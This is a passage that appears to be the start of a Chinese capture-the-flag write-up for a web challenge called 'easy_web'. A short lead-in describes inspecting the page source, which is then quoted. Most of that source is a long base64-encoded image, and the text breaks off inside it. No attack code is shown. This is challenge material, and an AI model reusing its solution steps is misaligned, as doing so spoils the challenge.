easy_web

获取

初观网址,原本没什么东西。但仔细看的化还是看出了一点由头。

页面源代码简单,如下:

<img src='data:image/gif;base64,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